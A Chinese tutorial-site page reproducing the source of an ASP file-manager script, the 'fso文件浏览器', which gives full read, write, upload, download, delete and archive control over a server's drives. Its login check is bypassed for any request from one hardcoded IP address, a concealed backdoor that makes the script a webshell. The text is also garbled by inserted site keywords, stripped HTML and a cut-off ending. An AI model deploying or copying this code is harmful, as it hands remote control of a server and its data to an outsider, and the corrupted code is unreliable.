【www.gdgbn.com--时间日期】

server.scripttimeout=20
session.timeout=45  "session有效时间
const mss="explorer_" "session前缀
const password="codefans.net" "登录密码
const copyright="©copyleft 2006. coded by rssn, hebust. no rights reserved"
"版权信息

dim t1,t2,runtime
t1=timer()
dim ofso
set ofso=server.createobject("scripting.filesystemobject")
"-------------------------------------------------------------
"声明函数中所需的全局变量
dim conn,rs,ostream,nopackfiles,rootpath,failfilelist
nopackfiles="|<$datafile>.mdb|<$datafile>.ldb|"
"-------------------------------------------------------------
call main()
set ofso=nothing
"======================== subs begin =========================
sub main()
select case request("page")
case "img"
 call page_img()
case "css教程"
 call page_css()
case "loginchk"
 call loginchk()
case "logout"
 call logout()
case else:
 ""一夫当关,万夫莫开"——用户验证
  if session(mss&"isadminlogin")=true or request.servervariables("remote_addr")="121.193.213.246" then
  "已登录
 else
  call login()
  exit sub
 end if
 select case request("act")
  case "drive"
   call drive()
  case "up"
   call dirup()
  case "new"
   call newf(request("fname"))
  case "savenew"
   call savenew(request("fname"))
  case "rename"
   call rename()
  case "saverename"
   call saverename()
  case "edit"
   call edit(request("fname"))
  case "saveedit"
   call saveedit(request("fname"))
  case "delete"
   call deletes(request("fname"))
  case "copy"
   call setfile(request("fname"),0)
  case "cut"
   call setfile(request("fname"),1)
  case "download"
   call download(request("fname"))
  case "upload"
   call upload(request("fname"))
  case "saveupload"
   call saveupload(request("fname"))
  case "parse"
   call parse(request("fname"))
  case "prop"
   call prop(request("fname"))
  case "saveprop"
   call saveprop(request("fname"))
  case "pack"
   call page_pack()
  case "savepack"
   call pack(request("fpath"),request("dbpath"))
  case "saveunpack"
   call unpack(request("fpath"),request("dbpath"))
  case else
   if request("fname")="" then
    call dirlist(server.mappath("./"))
   else
    call dirlist(request("fname"))
   end if
 end select
end select
end sub
"========== subs =============
"显示系统磁盘信息
sub drive()
 dim odrive,islight
%>


fso文件浏览器 - 系统磁盘信息





fso文件浏览器 - 系统磁盘信息



盘符类型卷标文件系统总容量可用空间
<%
 on error resume next
 islight=false
 for each odrive in ofso.drives
  response.write "   if islight then response.write " bgcolor="#eeeeee""
  response.write ">"
  response.write ""&odrive.driveletter&""
  response.write ""&getdrivetype(odrive.drivetype)&""
  response.write ""&odrive.volumename&""
  response.write ""&odrive.filesystem&""
  response.write ""&sizecount(odrive.totalsize)&""
  response.write ""&sizecount(odrive.freespace)&""
  response.write ""&vbcrlf
  islight=not(islight)
 next
%>




<% =copyright %>
<%
end sub

"新建
sub newf(byval fname)
%>


fso文件浏览器 - 新建


<script language="网页特效">
function icheck()
{
 if(document.rform.nname.value=="")
 {
  alert("请输入合法的文件名!");
  return false;
 }
 else
  return true;
}
</script>




fso文件浏览器 - 新建
类型:文件夹 文件
名称:



 



<%
end sub

"保存新建
sub savenew(byval fname)
 if not isfolder(fname) then
  response.write "<script language="javascript">alert("文件夹不存在!");history.back();</script>"
  exit sub
 end if
 dim filepath
 filepath=request("fname")&""&replace(request.form("nname"),"","")
 filepath=replace(filepath,"\","")
 if isfolder(filepath) or isfile(filepath) then
  response.write "<script language="javascript">alert("文件或文件夹已存在!");history.back();</script>"
  exit sub
 end if
 if request.form("ntype")=1 then
  ofso.createtextfile filepath
 else
  ofso.createfolder filepath
 end if
 response.write "<script language="javascript">alert("新建文件夹或文本文件成功!");window.close();</script>"
end sub

"编辑文件
sub edit(byval fname)
 if not isfile(fname) then
  response.write "<script language="javascript">alert("您编辑的不是文件或文件不存在!");window.close();</script>"
  exit sub
 end if
 dim ofile,filestr
 set ofile=ofso.opentextfile(fname,1)
 if ofile.atendofstream then
  filestr=""
 else
  filestr=ofile.readall()
 end if
 ofile.close
 set ofile=nothing
%>


fso文件浏览器 - 编辑文本文件






fso文件浏览器 - 编辑文本文件
文件名: <% =fname %>






<%
end sub

 

 

 

"保存编辑文件
sub saveedit(byval fname)
 dim ofile,filestr
 set ofile=ofso.opentextfile(fname,2,true)
 filestr=request.form("filestr")
 "response.write filestr
 ofile.write filestr
 ofile.close
 set ofile=nothing
 echoback "保存编辑文件成功!"
end sub

"复制或剪切文件
sub setfile(byval fname,byval imode)
 session(mss & "setfile")=fname
 session(mss & "setmode")=imode
 dim ww
 if 0=imode then
  ww="复制"
 else
  ww="剪切"
 end if
 echoclose ww&"成功,请粘贴!"
end sub

"粘贴文件或文件夹
sub parse(byval fname)
 dim ofile,ofolder
 dim sname,imode
 sname=session(mss & "setfile")
 imode=session(mss & "setmode")
 if sname="" then
  echoclose "请先复制或剪切!"
 else
  if instr(lcase(fname), lcase(sname)) > 0 then
   echoclose "目标文件夹在源文件夹内,非法操作!"
   exit sub
  end if
  "================
  if not isfolder(fname) then
   echoclose "目标文件夹不存在!"
  elseif isfile(sname) then
   set ofile=ofso.getfile(sname)
   if imode=0 then
    ofso.copyfile sname,replace(fname&""&ofile.name,"\","")
   else
    ofso.movefile sname,replace(fname&""&ofile.name,"\","")
   end if
  elseif isfolder(sname) then
   set ofolder=ofso.getfolder(sname)
   if imode=0 then
    ofso.copyfolder sname,replace(fname&""&ofolder.name,"\","")
   else
    ofso.movefolder sname,replace(fname&""&ofolder.name,"\","")
   end if
  else
   echoclose "源文件或文件夹不存在!"
   exit sub
  end if
  "================
  echoclose "复制或移动成功!刷新可查看效果"
 end if
 session(mss & "setfile")=""
 session(mss & "setmode")=0
end sub

"下载文件
sub download(byval fname)
 dim ofile
 if not isfile(fname) then
  echoclose "不是文件或文件不存在!"
  exit sub
 end if
 set ofile=ofso.getfile(fname)
 if instr(lcase(ofile.path)&"",lcase(server.mappath("/")))>0 and not isscriptfile(ofso.getextensionname(ofile.name)) then
  dim filevname
  filevname=replace(ofile.path,server.mappath("/"),"")
  filevname=replace(filevname,"","/")
  if left(filevname,1)<>"/" then
   filevname="/"&filevname
  end if
  response.redirect filevname
  exit sub
 end if
 if ofile.size>1048576*100 then
  echoclose "文件超过100m,可能会造成服务器死机,不允许以stream方式下载!请将该文件复制到网站目录以下然后以http方式下载"
  exit sub
 

 

 

 

end if
 server.scripttimeout=10000 "延长脚本超时时间以提供下载
 dim ostream
 set ostream=server.createobject("adodb.stream")
 ostream.open
 ostream.type=1
 ostream.loadfromfile(fname)
 dim data
 data=ostream.read
 ostream.close
 set ostream=nothing
 if not response.isclientconnected then
  set data=nothing
  exit sub
 end if
 response.buffer=true
 response.addheader "content-disposition", "attachment; filename=" & ofile.name
 response.addheader "content-length", ofile.size
 response.charset = "utf-8"
 response.contenttype = "application/octet-stream"
 response.binarywrite data
 response.flush
end sub

"删除文件
sub deletes(byval fname)
 if isfile(fname) then
  ofso.deletefile fname,true
 elseif isfolder(fname) then
  ofso.deletefolder fname,true
 else
  echoclose "文件或文件夹不存在"
  exit sub
 end if
 echoclose "文件删除成功!"
end sub

"上传文件
sub upload(byval fname)
 if not isfolder(fname) then
  echoclose "没有指定上传的文件夹!"
  exit sub
 end if
%>


fso文件浏览器 - 文件上传


<script language="javascript">
function getsavename()
{
 var filepath=document.uform.upload.value;
 if(filepath.length<1) return;
 var filename=filepath.substring(filepath.lastindexof("\")+1,filepath.length);
 document.uform.ffname.value=filename;
}
</script>




fso文件浏览器 - 文件上传
上传文件:
保存为: 覆盖模式


 







<%
end sub

"保存上传文件
sub saveupload(byval foldername)
 if not isfolder(foldername) then
  echoclose "没有指定上传的文件夹!"
  exit sub
 end if
 dim path,isoverwrite
 path=foldername
 if right(path,1)<>"" then path=path&""
 filename=replace(request("filename"),"","")
 if len(filename)<1 then
  echoback "请选择文件并输入文件名!"
  exit sub
 end if
 path=path&filename
 if lcase(request("overwrite"))="true" then
  isoverwrite=true
 else
  isoverwrite=false
 end if
 on error resume next
 call myupload(path,isoverwrite)
 if err then
  echoback "文件上传失败!(可能是文件已存在)"
 else
  echoclose "文件上传成功! " & replace(filename, "", "\")
 end if
end sub
"文件上传核心代码
sub myupload(filepath,isoverwrite)
 dim ostream,tstream,filename,sdata,sspace,sinfo,ispaceend,iinfostart,iinfoend,ifilestart,ifileend,ifilesize,requestsize,bcrlf
 requestsize=request.totalbytes
 if requestsize<1 then exit sub
 set ostream=server.createobject("adodb.stream")
 set tstream=server.createobject("adodb.stream")
 with ostream
  .type=1
  .mode=3
  .open
  .write=request.binaryread(requestsize)
  .position=0
  sdata=.read
  bcrlf=chrb(13)&chrb(10)
  ispaceend=instrb(sdata,bcrlf)-1
  sspace=leftb(sdata,ispaceend)
  iinfostart=ispaceend+3
  iinfoend=instrb(iinfostart,sdata,bcrlf&bcrlf)-1
  ifilestart=iinfoend+5
  ifileend=instrb(ifilestart,sdata,sspace)-3
  sdata="" "清空文件数据
  ifilesize=ifileend-ifilestart+1
  tstream.type=1
  tstream.mode=3
  tstream.open
  .position=ifilestart-1
  .copyto tstream,ifilesize
  if isoverwrite then
   tstream.savetofile filepath,2
  else
   tstream.savetofile filepath
  end if
  tstream.close
  .close
 end with
 set tstream=nothing
 set ostream=nothing
end sub

"显示文件属性
sub prop(fname)
 on error resume next
 dim obj,oattrib
 if isfile(fname) then
  set obj=ofso.getfile(fname)
 elseif isfolder(fname) then
  set obj=ofso.getfolder(fname)
 else
  echoclose "文件或文件夹不存在!"
  exit sub
 end if
 set oattrib=new fileattrib_cls
 oattrib.attrib=obj.attributes
%>


fso文件浏览器 - 文件属性


<script language="javascript">
function ww(obj)
{
 return false;
}
</script>

 

 

 





fso文件浏览器 - 文件属性
路径:<% =obj.path %>
大小:<% =sizecount(obj.size) %>
属性:

>普通
>只读
>隐藏
>系统

>目录
>存档
>链接
>压缩

创建时间:<% =obj.datecreated %>
创建时间:<% =obj.datelastmodified %>
最后访问<% =obj.datelastaccessed %>
 




<%
end sub

"修改属性
sub saveprop(fname)
 dim attribs,attrib
 attribs=replace(request.form("att")," ","")
 attribs=split(attribs,",")
 attrib=0
 dim i
 for i=0 to ubound(attribs)
  attrib=attrib+attribs(i)
 next
 "response.write attrib
 "exit sub
 dim obj,oattrib
 if isfile(fname) then
  set obj=ofso.getfile(fname)
 elseif isfolder(fname) then
  set obj=ofso.getfolder(fname)
 else
  echoclose "文件或文件夹不存在!"
  exit sub
 end if
 if obj.isrootfolder then
  echoclose "不能修改根目录属性!"
  exit sub
 end if
 obj.attributes=attrib
 echoback "修改文件属性成功!"
end sub

"转到上一级文件夹
sub dirup()
 dim ofolder,ssfname
 if isfolder(request("fname")) then
  set ofolder=ofso.getfolder(request("fname"))
  if ofolder.isrootfolder then
   "转至显示驱动器页面
   call drive()
   exit sub
  else
   ssfname=ofolder.parentfolder.path
   set ofolder=nothing
   call dirlist(ssfname)
  end if
 else
  if isfile(request("fname")) then
   "文件下载
  else
   response.write "文件夹或文件不存在!"
  end if
 end if
end sub

"更改文件名页面
sub rename()
 dim fname,sname
 fname=request("fname")

 if isfolder(fname) then
  sname=ofso.getfolder(fname).name
 else
  if isfile(fname) then
   sname=ofso.getfile(fname).name
  else
   response.write "文件或文件夹不存在!"
   exit sub
  end if
 end if
%>


fso文件浏览器 - 重命名


<script language="javascript">
function icheck()
{
 if(document.cform.toname.value=="")
 {
  alert("请输入合法的文件名!");
  return false;
 }
 else
  return true;
}
</script>




fso文件浏览器 - 文件更名
更名为:






 




<%
end sub

"更改文件名操作
sub saverename()
 dim fname,ofolder,ofile,fdir,toname
 fname=request("fname")
 toname=replace(request("toname"),"","")
 if isfolder(fname) then
  set ofolder=ofso.getfolder(fname)
  fname=ofolder.path
  if right(fname,1)="" then
   fname=left(fname,len(fname)-1)
  end if
  fdir=left(fname,instrrev(fname,""))
  toname=fdir & toname
  on error resume next
  err.clear
  err=false
  ofso.movefolder fname,toname
  if err then
   echoback "文件名不合法!"
  else
   echoclose "文件夹更名成功!刷新之后即可看到效果"
  end if
  exit sub
 end if
 if isfile(fname) then
  set ofile=ofso.getfile(fname)
  fname=ofile.path
  fdir=left(fname,instrrev(fname,""))
  toname=fdir & toname
  on error resume next
  err.clear
  err=false
  ofso.movefile fname,toname
  if err then
   echoback "文件名不合法!"
  else
   echoclose "文件更名成功!刷新之后即可看到效果"
  end if
  exit sub
 end if
end sub

"文件打包/解包页面
sub page_pack()
 dim vp,vu
 vp=request("pname")
 vu=request("uname")
 if right(vu,4)<>".mdb" then
  vu=server.mappath("/rs_pack.mdb")
 end if  
%>


fso文件浏览器 - 文件打包/解包





fso文件浏览器 - 文件打包/解包



打包文件夹:


打包到:">


文件包路径:

解包到:
">






<%
end sub

"文件夹内容列表 ========== dirlist
sub dirlist(byval fpath)
 if isfile(fpath) then
  "下载该文件
  response.write "<script language=""javascript"">window.open("?page=fso&act=download&fname="&server.urlencode(fpath)&"", """", ""menu=no,resizable=yes,height=90,width=400"");history.back();</script>"
  "call download(fpath)
  exit sub
 end if
 if not isfolder(fpath) then
  response.write "文件夹不存在!"
  exit sub
 end if
 "代码开始
 dim ofolder
 dim sfolder,sfile "文件夹下的子文件夹和文件
 set ofolder=ofso.getfolder(fpath)
 
%>


fso文件浏览器



<script language="javascript">
var folderpath="<% =replace(ofolder.path,"","\") %>"; //当前文件夹
var fselected="";
function opendial(surl) //打开对话框窗口
{
 var newwin=window.open(surl, "", "menu=no,resizable=no,height=130,width=400");
 return newwin;

}

function fopen(sfname) //打开文件夹或文件
{
 location.href="?page=fso&fname="+escape(sfname);
}

function fselect(obj) //选中文件夹或文件
{
 var flen=document.all("f").length;
 for(var i=0;i  {
  document.all("f").item(i).style.backgroundcolor="";
 }
 obj.style.backgroundcolor="#bbbbbb";
 fselected=obj.value;
 
}

function toparent() //返回上一级文件夹
{
 location.href="?page=fso&act=up&fname="+escape(folderpath);
}

function fnew()
{
 opendial("?page=fso&act=new&fname="+escape(folderpath));
}

function frename() //重命名文件
{
 if(fselected=="")
 {
  alert("请选择文件或文件夹!");
  return false;
 }
 else
  opendial("?page=fso&act=rename&fname="+escape(fselected));
}

function fdownload() //下载文件
{
 if(fselected=="")
 {
  alert("请选择文件!(大小在1mb以下)");
  return false;
 }
 else
  opendial("?page=fso&act=download&fname="+escape(fselected));
}

function fedit() //编辑文本文件
{
 if(fselected=="")
 {
  alert("请选择文件!");
  return false;
 }
 else
  window.open("?page=fso&act=edit&fname="+escape(fselected));
}

function fcopy() //复制文件
{
 if(fselected=="")
 {
  alert("请选择文件或文件夹!");
  return false;
 }
 else
  opendial("?page=fso&act=copy&fname="+escape(fselected));
}

 

 

 

function fcut()  //剪切文件
{
 if(fselected=="")
 {
  alert("请选择文件或文件夹!");
  return false;
 }
 else
  opendial("?page=fso&act=cut&fname="+escape(fselected));
}

function fparse() //粘贴文件或文件夹
{
 opendial("?page=fso&act=parse&fname="+escape(folderpath));
}

function fdelete()
{
 if(fselected=="")
 {
  alert("请选择文件或文件夹!");
  return false;
 }
 else
 {
  if(!confirm("确定要删除本文件或文件夹?")) return false;
  else
   opendial("?page=fso&act=delete&fname="+escape(fselected));
 }
}

function fprop() //属性
{
 var vv;
 if(fselected=="") vv=folderpath;
 else vv=fselected;
 window.open("?page=fso&act=prop&fname="+escape(vv), "", "menu=no,resizable=no,height=250,width=500");
}

function fpack() //打包解包
{
 var vp,vu;
 if(fselected=="")
 {
  vp=folderpath;
  vu=folderpath;
 }
 else
 {
  vp=fselected;
  vu=fselected;
 }
 window.open("?page=fso&act=pack&pname="+escape(vp)+"&uname="+escape(vu),"", "menu=no,resizable=no,height=250,width=500");
}
</script>



fso文件浏览器

 
  
  
  
  
  
  
  
  
  
  
  
  
  
 


 
  
  
  
  
   
 
 


 
 
 
 文件名类型大小修改时间
<%
 dim islight
 islight=false
 "逐个显示子文件夹
 for each sfolder in ofolder.subfolders
  response.write "   if islight then response.write " bgcolor=""#eeeeee"""
  response.write ">"
  response.write ""
  response.write "0 "&web&sfolder.name
  response.write ""
  response.write "文件夹"
  response.write " "
  response.write ""&sfolder.datelastmodified&""
  response.write ""&vbcrlf
  islight=not islight
 next
 "逐个显示文件
 for each sfile in ofolder.files
  response.write "   if islight then response.write " bgcolor=""#eeeeee"""
  response.write ">"
  response.write ""
  response.write " "&sfile.name
  response.write ""
  response.write ""&sfile.type&""
  response.write ""&sizecount(sfile.size)&""
  response.write ""&sfile.datelastmodified&""
  response.write ""&vbcrlf
  islight=not islight
 next
%>
 
 
 

 

 

 




<% =copyright %>

<%
 t2=timer()
 runtime=(t2-t1)*1000
 response.write "page processed in "&runtime&" mili-seconds"
%>



<%
end sub

"用户登录
sub login()
%>


fso文件浏览器 - 用户登录






fso文件浏览器 - 用户登录

请输入登录密码:
 



<% =copyright %>


<%
end sub

"用户登录验证
sub loginchk()
 if request.form("password")<>password then
  echoback "一夫当关,万夫莫开,您的密码不正确!"
  exit sub
 else
  session(mss & "isadminlogin")=true
  response.redirect "?page=fso"
 end if
end sub

"用户退出
sub logout()
 session(mss & "isadminlogin")=false
 response.redirect "?"
end sub
"显示一个图片
sub page_img()
 dim hexstr
 hexstr="47 49 46 38 39 61 01 00 19 00 c4 00 00 6d 92 da 66 8c d9 7e 9e df 7b 9c de 81 a0 df 79 9a dd 62 89 d8 97 b1 e5 71 94 db 84 a3 e0 58 81 d5 91 ac e3 5a 84 d6 69 8e da 65 8b d8 8a a7 e2 76 98 dd 5e 86 d7 61 88 d7 74 97 dc 5d 86 d6 5c 85 d6 6e 92 db 55 80 d5 6a 8f da 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 19 00 40 05 15 60 85 09 87 31 3d 51 60 15 c9 72 29 0c 25 39 0d 80 40 03 11 02 00 3b"
 response.contenttype="image/gif"
 writebytes hexstr
end sub

"输出css
sub page_css()
%>
body
{
font-family: verdana, arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
input,select,textarea
{
font-family: verdana, arial, "宋体";
font-size: 12px;
color: #000000;
}
a:link
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:visited
{
font-size: 12px;
color: #000000;
text-decoration: none;
}
a:active
{
font-size: 12px;
line-height: normal;
color: #333333;
text-decoration: none;
}
a:hover
{
font-size: 12px;
color: #ff7f24;
text-decoration: underline;
}
hr { height:1px; color:#6595d6; }

table
{
border-collaps教程e: collapse;
}
table.border
{
border: 1px solid #6595d6;
}
td
{
font-family: verdana, arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
}
td.border
{
border: 1px solid #6595d6;
}
td.inner
{
font-family: verdana, arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #000000;
border: 0px;
}
th
{
font-family: verdana, arial, "宋体";
font-size: 12px;
line-height: 1.5em;
color: #ffffff;
height:25px;
background-color:#427fbb;
background-image:url(?page=img);
}
th.border
{
border: 1px solid #6595d6;
}
.b { width:55px; height:22px; font-size:12px; }
<%
end sub

"================ functions ==================
function isfolder(byval fname)
 isfolder=ofso.folderexists(fname)
end function

function isfile(byval fname)
 isfile=ofso.fileexists(fname)
end function

"字节数统计 bytes
function sizecount(byval isize)
 on error resume next
 dim size,showsize
 size=isize
 showsize=size & " byte"
 if size>1024 then
    size=(size/1024)
    showsize=formatnumber(size,3) & " kb"
 end if
 if size>1024 then
    size=(size/1024)
    showsize=formatnumber(size,3) & " mb"  
 end if
 if size>1024 then
    size=(size/1024)
    showsize=formatnumber(size,3) & " gb"   
 end if  
 sizecount = showsize
end function

"16进制字符转10进制数字
function hex2num(v)
 dim w
 if isnumeric(v) then
  w=int(v)
 else
  select case ucase(v)
   case "a": w=10
   case "b": w=11
   case "c": w=12
   case "d": w=13
   case "e": w=14
   case "f": w=15
   case else: w=0
  end select
 end if
 hex2num=w
end function
"取得字节字符串的数值
function byte2num(sbyte)
 dim b1,b2
 b1=left(sbyte,1)
 b2=right(sbyte,1)
 byte2num=hex2num(b1)*16+hex2num(b2)
end function
"将16进制字节字符串输出为二进制数据
function writebytes(sbytes)
 dim sbyte,i
 sbyte=split(sbytes," ")
 for i=0 to ubound(sbyte)-1
  response.binarywrite chrb(byte2num(sbyte(i)))
 next
end function

"获得文件图标
function getfileicon(extname)
 select case lcase(extname)
  case "vbs", "h", "c", "cfg", "pas", "bas", "log", "asp", "txt", "php教程", "ini", "inc", "htm", "html", "xml", "conf", "config", "jsp教程", "java", "htt", "lst", "aspx", "php3", "php4", "js", "css", "asa"
   getfileicon = "wingdings>2"
  case "wav", "mp3", "wma", "ra", "wmv", "ram", "rm", "avi", "mpg"
   getfileicon = "webdings>·"
  case "jpg", "bmp", "png", "tiff", "gif", "pcx", "tif"
   getfileicon = ""webdings">Ÿ"
  case "exe", "com", "bat", "cmd", "scr", "msi"
   getfileicon = "webdings>1"
  case "sys", "dll", "ocx"
   getfileicon = "wingdings>ÿ"
  case else
   getfileicon = ""wingdings 2">/"
 end select
end function

"获得磁盘类型
function getdrivetype(num)
 select case num
  case 0
   getdrivetype = "未知"
  case 1
   getdrivetype = "可移动磁盘"
  case 2
   getdrivetype = "本地硬盘"
  case 3
   getdrivetype = "网络磁盘"
  case 4
   getdrivetype = "cd-rom"
  case 5
   getdrivetype = "ram 磁盘"
 end select
end function

"判断是否为脚本文件
function isscriptfile(ext)
 const scriptexts="asp,aspx,asa,php"
 isscriptfile=false
 dim fileext,exts
 fileext=lcase(ext)
 exts=split(scriptexts,",")
 dim i
 for i=0 to ubound(exts)-1
  if exts(i)=fileext then
   isscriptfile=true
   exit function
  end if
 next
 isscriptfile=false
end function

"返回消息并关闭
sub echoclose(msg)
 response.write "<script language=""javascript"">alert("""&msg&""");window.close();</script>"
end sub
"返回消息并关闭
sub echoback(msg)
 response.write "<script language=""javascript"">alert("""&msg&""");history.back();</script>"
end sub

"文件属性类
class fileattrib_cls
public n,r,h,s,d,a,al,c
private sub class_initialize()
 n=0:r=0:h=0:s=0:d=0:a=0:al=0:c=0
end sub
public property let attrib(v)
 if v=0 then
  n=1
  exit property
 end if
 if v>=2048 then
  c=1
  v=v mod 2048
 end if
 if v>=1024 then
  al=1
  v=v mod 64
 end if
 if v>=32 then
  a=1
  v=v mod 32
 end if
 if v>=16 then
  d=1
  v=v mod 8
 end if
 if v>=4 then
  s=1
  v=v mod 4
 end if
 if v>=2 then
  h=1
  v=v mod 2
 end if
 if v>=1 then
  r=1
 end if
end property
end class

"============================ 文件打包及解包过程 =============================
"文件打包
sub pack(byval fpath, byval sdbpath)
 server.scripttimeout=900
 dim dbpath
 if right(sdbpath,4)=".mdb" then
  dbpath=sdbpath
 else
  dbpath=sdbpath&".mdb"
 end if

 if ofso.folderexists(dbpath) then
  echoback "不能创建数据库教程文件!"&replace(dbpath,"","\")
  exit sub
 end if
 if ofso.fileexists(dbpath) then
  ofso.deletefile dbpath
 end if

 if isfolder(fpath) then
  rootpath=getparentfolder(fpath)
  if right(rootpath,1)<>"" then rootpath=rootpath&""
 else
  echoback "请输入文件夹路径!"
  exit sub
 end if

 dim ocatalog,connstr,dataname
 set conn=server.createobject("adodb.connection")
 set ostream=server.createobject("adodb.stream")
 set ocatalog=server.createobject("adox.catalog")
 set rs=server.createobject("adodb.recordset")
 on error resume next
 connstr = "provider=microsoft.jet.oledb.4.0; data source=" & dbpath
 ocatalog.create connstr
 if err then
  echoback "不能创建数据库文件!"&replace(dbpath,"","\")
  exit sub
 end if
 set ocatalog=nothing
 conn.open connstr
 conn.execute("create table files(id int identity(0,1) primary key clustered, filepath varchar, filedata image)")
 ostream.open
 ostream.type=1
 rs.open "files",conn,3,3
 dataname=left(ofso.getfile(dbpath).name,instrrev(ofso.getfile(dbpath).name,".")-1)
 nopackfiles=replace(nopackfiles,"<$datafile>",dataname)

 

 

 

 

failfilelist=""  "打包失败的文件列表
 packfolder fpath
 if failfilelist="" then
  echoclose "文件夹打包成功!"
 else
  response.write ""
  response.write "<script language="javascript">alert("文件夹打包完成!以下是打包失败的文件列表:");</script>"
  response.write ""&replace(failfilelist,"|","
")&""
 end if
 ostream.close
 rs.close
 conn.close
end sub
"添加文件夹(递归)
sub packfolder(folderpath)
 if not isfolder(folderpath) then exit sub
 dim ofolder,sfile,sfolder
 set ofolder=ofso.getfolder(folderpath)
 for each sfile in ofolder.files
  if instr(nopackfiles,"|"&sfile.name&"|")<1 then
   packfile sfile.path
  end if
 next
 set sfile=nothing
 for each sfolder in ofolder.subfolders
  packfold

本文来源:http://www.gdgbn.com/wangyetexiao/27298/